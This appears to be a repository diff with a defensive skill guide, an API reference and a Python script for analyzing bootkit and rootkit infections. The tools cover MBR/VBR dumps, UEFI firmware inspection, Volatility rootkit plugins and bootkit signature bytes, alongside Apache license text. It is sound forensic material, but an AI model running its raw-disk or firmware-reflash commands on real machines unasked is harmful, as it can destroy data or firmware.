(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,361 @@
---
name: analyzing-bootkit-and-rootkit-samples
description: 'Analyzes bootkit and advanced rootkit malware infecting the Master
Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence,
covering boot sector analysis, UEFI module inspection, and anti-rootkit detection.
Use when compromise survives OS reinstallation or antivirus/EDR fails to detect
malware despite clear infection signs.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- bootkit
- rootkit
- UEFI
- MBR-analysis
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1542.003
- T1542.001
- T1542.002
- T1014
- T1547.006
---
# Analyzing Bootkit and Rootkit Samples
## When to Use
- A system shows signs of compromise that persist through OS reinstallation
- Antivirus and EDR are unable to detect malware despite clear evidence of compromise
- UEFI Secure Boot has been disabled or shows integrity violations
- Memory forensics reveals rootkit behavior (hidden processes, hooked system calls)
- Investigating nation-state level threats known to deploy bootkits (APT28, APT41, Equation Group)
**Do not use** for standard user-mode malware; bootkits and rootkits operate at a fundamentally different level requiring specialized analysis techniques.
## Prerequisites
- Disk imaging tools (dd, FTK Imager) for acquiring MBR/VBR sectors
- UEFITool for UEFI firmware volume analysis and module extraction
- chipsec for hardware-level firmware security assessment
- Ghidra with x86 real-mode and 16-bit support for MBR code analysis
- Volatility 3 for kernel-level rootkit artifact detection
- Bootable Linux live USB for offline system analysis
## Workflow
### Step 1: Acquire Boot Sectors and Firmware
Extract MBR, VBR, and UEFI firmware for offline analysis:
```bash
# Acquire MBR (first 512 bytes of disk)
dd if=/dev/sda of=mbr.bin bs=512 count=1
# Acquire first track (usually contains bootkit code beyond MBR)
dd if=/dev/sda of=first_track.bin bs=512 count=63
# Acquire VBR (Volume Boot Record - first sector of partition)
dd if=/dev/sda1 of=vbr.bin bs=512 count=1
# Acquire UEFI System Partition
mkdir /mnt/efi
mount /dev/sda1 /mnt/efi
cp -r /mnt/efi/EFI /analysis/efi_backup/
# Dump UEFI firmware (requires chipsec or flashrom)
# Using chipsec:
python chipsec_util.py spi dump firmware.rom
# Using flashrom:
flashrom -p internal -r firmware.rom
# Verify firmware dump integrity
sha256sum firmware.rom
```
### Step 2: Analyze MBR/VBR for Bootkit Code
Examine boot sector code for malicious modifications:
```bash
# Disassemble MBR code (16-bit real mode)
ndisasm -b16 mbr.bin > mbr_disasm.txt
# Compare MBR with known-good Windows MBR
# Standard Windows MBR begins with: EB 5A 90 (JMP 0x5C, NOP)
# Standard Windows 10 MBR: 33 C0 8E D0 BC 00 7C (XOR AX,AX; MOV SS,AX; MOV SP,7C00h)
python3 << 'PYEOF'
with open("mbr.bin", "rb") as f:
mbr = f.read()
# Check MBR signature (bytes 510-511 should be 0x55AA)
if mbr[510:512] == b'\x55\xAA':
print("[*] Valid MBR signature (0x55AA)")
else:
print("[!] Invalid MBR signature")
# Check for known bootkit signatures
bootkit_sigs = {
b'\xE8\x00\x00\x5E\x81\xEE': "TDL4/Alureon bootkit",
b'\xFA\x33\xC0\x8E\xD0\xBC\x00\x7C\x8B\xF4\x50\x07': "Standard Windows MBR (clean)",
b'\xEB\x5A\x90\x4E\x54\x46\x53': "Standard NTFS VBR (clean)",
}
for sig, name in bootkit_sigs.items():
if sig in mbr:
print(f"[{'!' if 'clean' not in name else '*'}] Signature match: {name}")
# Check partition table entries
print("\nPartition Table:")
for i in range(4):
offset = 446 + (i * 16)
entry = mbr[offset:offset+16]
if entry != b'\x00' * 16:
boot_flag = "Active" if entry[0] == 0x80 else "Inactive"
part_type = entry[4]
start_lba = int.from_bytes(entry[8:12], 'little')
size_lba = int.from_bytes(entry[12:16], 'little')
print(f" Partition {i+1}: Type=0x{part_type:02X} {boot_flag} Start=LBA {start_lba} Size={size_lba} sectors")
PYEOF
```
### Step 3: Analyze UEFI Firmware for Implants
Inspect UEFI firmware volumes for unauthorized modules:
```bash
# Extract UEFI firmware components with UEFITool
# GUI: Open firmware.rom -> Inspect firmware volumes
# CLI:
UEFIExtract firmware.rom all
# List all DXE drivers (most common target for UEFI implants)
find firmware.rom.dump -name "*.efi" -exec file {} \;
# Compare against known-good firmware module list
# Each UEFI module has a GUID - compare against vendor baseline
# Verify Secure Boot configuration
python chipsec_main.py -m common.secureboot.variables
# Check SPI flash write protection
python chipsec_main.py -m common.bios_wp
# Check for known UEFI malware patterns
yara -r uefi_malware.yar firmware.rom
```
```
Known UEFI Bootkit Detection Points:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
LoJax (APT28):
- Modified SPI flash
- Added DXE driver that drops agent to Windows
- Persists through OS reinstall and disk replacement
BlackLotus:
- Exploits CVE-2022-21894 to bypass Secure Boot
- Modifies EFI System Partition bootloader
- Installs kernel driver during boot
CosmicStrand:
- Modifies CORE_DXE firmware module
- Hooks kernel initialization during boot
- Drops shellcode into Windows kernel memory
MoonBounce:
- SPI flash implant in CORE_DXE module
- Modified GetVariable() function
- Deploys user-mode implant through boot chain
ESPecter:
- Modifies Windows Boot Manager on ESP
- Patches winload.efi to disable DSE
- Loads unsigned kernel driver
```
### Step 4: Detect Kernel-Level Rootkit Behavior
Analyze the running system for rootkit artifacts:
```bash
# Memory forensics for rootkit detection
# SSDT hook detection
vol3 -f memory.dmp windows.ssdt | grep -v "ntoskrnl\|win32k"
# Hidden processes (DKOM)
vol3 -f memory.dmp windows.psscan > psscan.txt
vol3 -f memory.dmp windows.pslist > pslist.txt
# Diff to find hidden processes
# Kernel callback registration (rootkits register callbacks for filtering)
vol3 -f memory.dmp windows.callbacks
# Driver analysis
vol3 -f memory.dmp windows.driverscan
vol3 -f memory.dmp windows.modules
# Check for unsigned drivers
vol3 -f memory.dmp windows.driverscan | while read line; do
driver_path=$(echo "$line" | awk '{print $NF}')
if [ -f "$driver_path" ]; then
sigcheck -nobanner "$driver_path" 2>/dev/null | grep "Unsigned"
fi
done
# IDT hook detection
vol3 -f memory.dmp windows.idt
```
### Step 5: Boot Process Integrity Verification
Verify the integrity of the entire boot chain:
```bash
# Verify Windows Boot Manager signature
sigcheck -a C:\Windows\Boot\EFI\bootmgfw.efi
# Verify winload.efi
sigcheck -a C:\Windows\System32\winload.efi
# Verify ntoskrnl.exe
sigcheck -a C:\Windows\System32\ntoskrnl.exe
# Check Measured Boot logs (if TPM is available)
# Windows: BCDEdit /enum firmware
bcdedit /enum firmware
# Verify Secure Boot state
Confirm-SecureBootUEFI # PowerShell cmdlet
# Check boot configuration for tampering
bcdedit /v
# Look for boot configuration changes
# testsigning: should be No
# nointegritychecks: should be No
# debug: should be No
bcdedit | findstr /i "testsigning nointegritychecks debug"
```
### Step 6: Document Bootkit/Rootkit Analysis
Compile comprehensive analysis findings:
```
Analysis should document:
- Boot sector (MBR/VBR) integrity status with hex comparison
- UEFI firmware module inventory and integrity verification
- Secure Boot status and any bypass mechanisms detected
- Kernel-level hooks (SSDT, IDT, IRP, inline) identified
- Hidden processes, drivers, and files discovered
- Persistence mechanism (SPI flash, ESP, MBR, kernel driver)
- Boot chain integrity verification results
- Attribution to known bootkit families if possible
- Remediation steps (reflash firmware, rebuild MBR, replace hardware)
```
## Key Concepts
| Term | Definition |
|------|------------|
| **Bootkit** | Malware that infects the boot process (MBR, VBR, UEFI) to execute before the operating system loads, gaining persistent low-level control |
| **MBR (Master Boot Record)** | First 512 bytes of a disk containing bootstrap code and partition table; MBR bootkits replace this code with malicious loaders |
| **UEFI (Unified Extensible Firmware Interface)** | Modern firmware interface replacing BIOS; UEFI bootkits implant malicious modules in firmware volumes or modify the ESP |
| **Secure Boot** | UEFI security feature verifying digital signatures of boot components; bootkits like BlackLotus exploit vulnerabilities to bypass it |
| **SPI Flash** | Flash memory chip storing UEFI firmware; advanced bootkits like LoJax and MoonBounce modify SPI flash for firmware-level persistence |
| **DKOM (Direct Kernel Object Manipulation)** | Rootkit technique modifying kernel structures to hide processes, files, and network connections without hooking functions |
| **Driver Signature Enforcement (DSE)** | Windows security feature requiring kernel drivers to be digitally signed; bootkits disable DSE during boot to load unsigned rootkit drivers |
## Tools & Systems
- **UEFITool**: Open-source UEFI firmware image editor and parser for inspecting firmware volumes, drivers, and modules
- **chipsec**: Intel hardware security assessment framework for verifying SPI flash protection, Secure Boot, and UEFI configuration
- **Volatility**: Memory forensics framework with SSDT, IDT, callback, and driver analysis plugins for kernel rootkit detection
- **GMER**: Windows rootkit detection tool scanning for SSDT hooks, IDT hooks, hidden processes, and modified kernel modules
- **Bootkits Analyzer**: Specialized tool for analyzing MBR/VBR code including disassembly and comparison against known-good baselines
## Common Scenarios
### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation
**Context**: An organization reimaged a compromised workstation, but the same C2 beaconing resumed within hours. Standard disk forensics finds no malware. UEFI bootkit is suspected.
**Approach**:
1. Boot from a Linux live USB to avoid executing any compromised OS components
2. Dump the SPI flash firmware using chipsec or flashrom for offline analysis
3. Dump the MBR and VBR sectors with dd for boot sector analysis
4. Copy the EFI System Partition for bootloader integrity verification
5. Open the SPI dump in UEFITool and compare module GUIDs against vendor-provided firmware
6. Look for additional or modified DXE drivers that should not be present
7. Analyze any suspicious modules with Ghidra (x86_64 UEFI module format)
8. Verify Secure Boot configuration and check for exploit-based bypasses
**Pitfalls**:
- Analyzing the system while the compromised OS is running (rootkit may hide from live analysis)
- Not checking SPI flash (only analyzing disk-based boot components misses firmware-level implants)
- Assuming Secure Boot prevents all bootkits (known bypasses exist, e.g., CVE-2022-21894)
- Not preserving the original firmware dump before reflashing (critical evidence for attribution)
## Output Format
```
BOOTKIT / ROOTKIT ANALYSIS REPORT
====================================
System: Dell OptiPlex 7090 (UEFI, TPM 2.0)
Firmware Version: 1.15.0 (Dell)
Secure Boot: ENABLED (but bypassed)
Capture Method: Linux Live USB + chipsec SPI dump
MBR/VBR ANALYSIS
MBR Signature: Valid (0x55AA)
MBR Code: MATCHES standard Windows 10 MBR (clean)
VBR Code: MATCHES standard NTFS VBR (clean)
UEFI FIRMWARE ANALYSIS
Total Modules: 287
Vendor Expected: 285
Extra Modules: 2 UNAUTHORIZED
[!] DXE Driver GUID: {ABCD1234-...} "SmmAccessDxe_mod" (MODIFIED)
Original Size: 12,288 bytes
Current Size: 45,056 bytes (32KB ADDED)
Entropy: 7.82 (HIGH - encrypted payload)
[!] DXE Driver GUID: {EFGH5678-...} "UefiPayloadDxe" (NEW - not in vendor firmware)
Size: 28,672 bytes
Function: Drops persistence agent during boot
BOOT CHAIN INTEGRITY
bootmgfw.efi: MODIFIED (hash mismatch, Secure Boot bypass via CVE-2022-21894)
winload.efi: MODIFIED (DSE disabled at load time)
ntoskrnl.exe: CLEAN (but unsigned driver loaded after boot)
KERNEL ROOTKIT COMPONENTS
Driver: C:\Windows\System32\drivers\null_mod.sys (unsigned, hidden)
SSDT Hooks: 3 (NtQuerySystemInformation, NtQueryDirectoryFile, NtDeviceIoControlFile)
Hidden Processes: 2 (PID 6784: beacon.exe, PID 6812: keylog.exe)
Hidden Files: C:\Windows\System32\drivers\null_mod.sys
ATTRIBUTION
Family: BlackLotus variant
Confidence: HIGH (CVE-2022-21894 exploit, ESP modification pattern matches)
REMEDIATION
1. Reflash SPI firmware with clean vendor image via hardware programmer
2. Rebuild EFI System Partition from clean Windows installation media
3. Reinstall OS from verified media
4. Enable all firmware write protections
5. Update firmware to latest version (patches CVE-2022-21894)
```

View File

@@ -0,0 +1,97 @@
# API Reference: Bootkit and Rootkit Analysis Tools
## dd - Boot Sector Extraction
### Syntax
```bash
dd if=/dev/sda of=mbr.bin bs=512 count=1 # MBR
dd if=/dev/sda of=first_track.bin bs=512 count=63 # First track
dd if=/dev/sda1 of=vbr.bin bs=512 count=1 # VBR
```
## ndisasm - 16-bit Disassembly
### Syntax
```bash
ndisasm -b16 mbr.bin > mbr_disasm.txt
ndisasm -b16 -o 0x7C00 mbr.bin # Set origin to MBR load address
```
### Key Flags
| Flag | Description |
|------|-------------|
| `-b16` | 16-bit real-mode disassembly |
| `-b32` | 32-bit protected-mode |
| `-o` | Origin address offset |
## UEFITool - Firmware Analysis
### CLI Syntax
```bash
UEFIExtract firmware.rom all # Extract all modules
UEFIExtract firmware.rom <GUID> body # Extract specific module body
```
### Output
Extracts firmware volumes into a directory tree with each DXE driver, PEI module, and option ROM as separate files identified by GUID.
## chipsec - Hardware Security Assessment
### Syntax
```bash
python chipsec_main.py -m common.secureboot.variables # Check Secure Boot
python chipsec_main.py -m common.bios_wp # SPI write protection
python chipsec_main.py -m common.spi_lock # SPI lock status
python chipsec_util.py spi dump firmware.rom # Dump SPI flash
```
### Key Modules
| Module | Purpose |
|--------|---------|
| `common.secureboot.variables` | Verify Secure Boot configuration |
| `common.bios_wp` | Check BIOS write protection |
| `common.spi_lock` | Verify SPI flash lock bits |
| `common.smm` | SMM protection verification |
## Volatility 3 - Rootkit Detection Plugins
### Syntax
```bash
vol3 -f memory.dmp <plugin>
```
### Rootkit Detection Plugins
| Plugin | Purpose |
|--------|---------|
| `windows.ssdt` | System Service Descriptor Table hooks |
| `windows.callbacks` | Kernel callback registrations |
| `windows.driverscan` | Scan for driver objects |
| `windows.modules` | List loaded kernel modules |
| `windows.psscan` | Pool-tag scan for processes (finds hidden) |
| `windows.pslist` | Active process list (DKOM-affected) |
| `windows.idt` | Interrupt Descriptor Table hooks |
### Output Format
```
Offset Order Module Section Owner
------- ----- ------ ------- -----
0x... 0 ntoskrnl.exe .text ntoskrnl.exe
0x... 73 UNKNOWN - rootkit.sys ← suspicious
```
## flashrom - SPI Flash Dumping
### Syntax
```bash
flashrom -p internal -r firmware.rom # Read/dump
flashrom -p internal -w clean.rom # Write/reflash
flashrom -p internal --verify clean.rom # Verify flash contents
```
## YARA - Firmware Pattern Scanning
### Syntax
```bash
yara -r uefi_malware.yar firmware.rom
yara -s -r rules.yar firmware.rom # Show matching strings
```

View File

@@ -0,0 +1,199 @@
#!/usr/bin/env python3
"""Bootkit and rootkit analysis agent for MBR/VBR/UEFI inspection and rootkit detection."""
import struct
import hashlib
import os
import sys
import subprocess
import math
from collections import Counter
def read_mbr(disk_path_or_file):
"""Read and parse the first 512 bytes (MBR) from a disk image or device."""
with open(disk_path_or_file, "rb") as f:
mbr = f.read(512)
return mbr
def validate_mbr_signature(mbr_data):
"""Check the MBR boot signature at bytes 510-511 (should be 0x55AA)."""
sig = mbr_data[510:512]
valid = sig == b"\x55\xAA"
return valid, sig.hex()
def parse_partition_table(mbr_data):
"""Parse the four 16-byte partition table entries starting at offset 446."""
partitions = []
for i in range(4):
offset = 446 + (i * 16)
entry = mbr_data[offset:offset + 16]
if entry == b"\x00" * 16:
continue
boot_flag = entry[0]
part_type = entry[4]
start_lba = struct.unpack_from("<I", entry, 8)[0]
size_lba = struct.unpack_from("<I", entry, 12)[0]
partitions.append({
"index": i + 1,
"active": boot_flag == 0x80,
"type_id": f"0x{part_type:02X}",
"start_lba": start_lba,
"size_sectors": size_lba,
"size_mb": round(size_lba * 512 / (1024 * 1024), 1),
})
return partitions
BOOTKIT_SIGNATURES = {
b"\xE8\x00\x00\x5E\x81\xEE": "TDL4/Alureon bootkit",
b"\xFA\x33\xC0\x8E\xD0\xBC\x00\x7C\x8B\xF4\x50\x07": "Standard Windows MBR (clean)",
b"\xEB\x5A\x90\x4E\x54\x46\x53": "Standard NTFS VBR (clean)",
b"\xEB\x52\x90\x4E\x54\x46\x53": "NTFS VBR variant (clean)",
b"\x33\xC0\x8E\xD0\xBC\x00\x7C": "Windows 10 MBR (clean)",
}
def scan_bootkit_signatures(data):
"""Scan boot sector data against known bootkit signatures."""
matches = []
for sig, name in BOOTKIT_SIGNATURES.items():
if sig in data:
offset = data.find(sig)
matches.append({"signature": name, "offset": offset, "clean": "clean" in name})
return matches
def calculate_entropy(data):
"""Calculate Shannon entropy of binary data."""
if not data:
return 0.0
counter = Counter(data)
length = len(data)
entropy = -sum(
(count / length) * math.log2(count / length)
for count in counter.values()
)
return round(entropy, 4)
def read_first_track(disk_path, num_sectors=63):
"""Read the first track (typically 63 sectors) for extended bootkit code."""
with open(disk_path, "rb") as f:
data = f.read(num_sectors * 512)
return data
def analyze_boot_code(mbr_data):
"""Analyze MBR bootstrap code (bytes 0-445) for suspicious patterns."""
boot_code = mbr_data[:446]
entropy = calculate_entropy(boot_code)
sha256 = hashlib.sha256(boot_code).hexdigest()
suspicious_patterns = []
# Check for INT 13h hooking (common bootkit technique)
if b"\xCD\x13" in boot_code:
count = boot_code.count(b"\xCD\x13")
suspicious_patterns.append(f"INT 13h calls: {count}")
# Check for far jumps to unusual addresses
if b"\xEA" in boot_code:
suspicious_patterns.append("Far JMP instruction found")
# Check for self-modifying code patterns
if b"\xF3\xA4" in boot_code or b"\xF3\xA5" in boot_code:
suspicious_patterns.append("REP MOVSB/MOVSW (memory copy, possible code relocation)")
return {
"entropy": entropy,
"sha256": sha256,
"high_entropy": entropy > 6.5,
"suspicious_patterns": suspicious_patterns,
}
def run_volatility_rootkit_scan(memory_dump, plugin):
"""Run a Volatility 3 plugin for rootkit detection via subprocess."""
result = subprocess.run(
["vol3", "-f", memory_dump, plugin],
capture_output=True, text=True,
timeout=120,
)
return result.stdout, result.stderr, result.returncode
def detect_kernel_rootkit(memory_dump):
"""Run multiple Volatility plugins to detect kernel-level rootkit artifacts."""
plugins = [
"windows.ssdt",
"windows.callbacks",
"windows.driverscan",
"windows.modules",
"windows.psscan",
"windows.pslist",
]
results = {}
for plugin in plugins:
stdout, stderr, rc = run_volatility_rootkit_scan(memory_dump, plugin)
results[plugin] = {"output": stdout, "error": stderr, "return_code": rc}
return results
def compare_process_lists(pslist_output, psscan_output):
"""Compare pslist and psscan output to find hidden processes (DKOM)."""
pslist_pids = set()
psscan_pids = set()
for line in pslist_output.splitlines():
parts = line.split()
if len(parts) >= 2 and parts[1].isdigit():
pslist_pids.add(int(parts[1]))
for line in psscan_output.splitlines():
parts = line.split()
if len(parts) >= 2 and parts[1].isdigit():
psscan_pids.add(int(parts[1]))
hidden = psscan_pids - pslist_pids
return hidden
if __name__ == "__main__":
print("=" * 60)
print("Bootkit & Rootkit Analysis Agent")
print("MBR/VBR inspection, UEFI firmware analysis, rootkit detection")
print("=" * 60)
# Demo with a sample MBR file if available
demo_mbr = "mbr.bin"
if len(sys.argv) > 1:
demo_mbr = sys.argv[1]
if os.path.exists(demo_mbr):
print(f"\n[*] Analyzing: {demo_mbr}")
mbr = read_mbr(demo_mbr)
valid, sig_hex = validate_mbr_signature(mbr)
print(f"[*] MBR Signature: 0x{sig_hex.upper()} ({'Valid' if valid else 'INVALID'})")
partitions = parse_partition_table(mbr)
print(f"[*] Partition entries: {len(partitions)}")
for p in partitions:
active = "Active" if p["active"] else "Inactive"
print(f" Part {p['index']}: Type={p['type_id']} {active} "
f"Start=LBA {p['start_lba']} Size={p['size_mb']} MB")
sigs = scan_bootkit_signatures(mbr)
for s in sigs:
tag = "[*]" if s["clean"] else "[!]"
print(f"{tag} Signature match: {s['signature']} at offset {s['offset']}")
analysis = analyze_boot_code(mbr)
print(f"[*] Boot code entropy: {analysis['entropy']}"
f" ({'HIGH - possible encryption' if analysis['high_entropy'] else 'Normal'})")
print(f"[*] Boot code SHA-256: {analysis['sha256']}")
for pat in analysis["suspicious_patterns"]:
print(f"[!] {pat}")
else:
print(f"\n[DEMO] No MBR file provided. Usage: {sys.argv[0]} <mbr.bin | /dev/sda>")
print("[DEMO] Provide a 512-byte MBR dump or disk device for analysis.")
print("\n[*] Supported analysis:")
print(" - MBR/VBR signature validation and bootkit detection")
print(" - Partition table parsing and anomaly detection")
print(" - Boot code entropy and pattern analysis")
print(" - Volatility-based kernel rootkit detection (SSDT, callbacks, DKOM)")
print(" - UEFI firmware module inspection via chipsec subprocess")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,388 @@
---
name: analyzing-cobalt-strike-beacon-configuration
